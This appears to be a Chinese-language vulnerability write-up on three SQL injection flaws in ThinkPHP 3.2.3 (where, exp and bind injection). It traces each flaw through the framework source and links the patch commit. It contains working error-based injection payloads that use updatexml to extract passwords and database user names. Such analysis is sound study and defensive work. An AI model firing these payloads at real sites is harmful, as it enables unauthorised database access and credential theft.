ThinkPhp3漏洞总结
ThinkPhp3漏洞总结
ThinkPhp3漏洞总结
环境搭建
- 下载源码
- 编辑器使用了phpstrom
- 配置数据库
- 添加测试数据
Thinkphp3.2.3 where注入
payload
?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)%23
断点
分析
- 经过htmlspecialchars过滤
- 于442行通过think_filter函数进行过滤
- 经过ThinkPHP/Library/Think/Model.class.php:779的find()方法
- 满足条件则进入
- 强制进行转换,转换为了int形
- 带入查询
步骤
id=1' -> I() -> find() -> __parseOptions() ->_parseType()
满足条件才能进去__parseOptions()方法
条件
if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join']))
绕过
index.php?id[where]=3 and 1=1
修复
Thinkphp 3.2.3 exp注入
- 部署环境
payload
http://localhost:8888/tp3/index.php?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
分析
- 进入Model.class.php的822行$this->select($options)
- 跟进select方法
- 跟踪Driver.class.php中的parseSql方法
- 跟踪Driver.class.php中的parseWhere方法
经过$whereStr .= $this->parseWhereItem($this->parseKey($key), $val)方法,跟踪进去
需要时数组才可以进去if语句
语句exp直接拼接构成注入
} elseif ('bind' == $exp) { // 使用表达式 $whereStr .= $key . ' = :' . $val[1];
修复
使用I方法接受会通过think_filter函数进行过滤
thinkphp 3.2.3 bind注入
payload
index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
环境部署
public function index() { $User = M("Users"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); }
上文说到除了exp还有bind可以进行注入
- 报错
- 进入update方法
- 进入到了parseWhereItem方法(bind可以注入)
- 于函数bindParam进行了添加冒号
在Driver.class.php文件execute中进行冒号替换
if (!empty($this->bind)) { $that = $this; $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind)); }
如果payload不是0的话
修复
https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4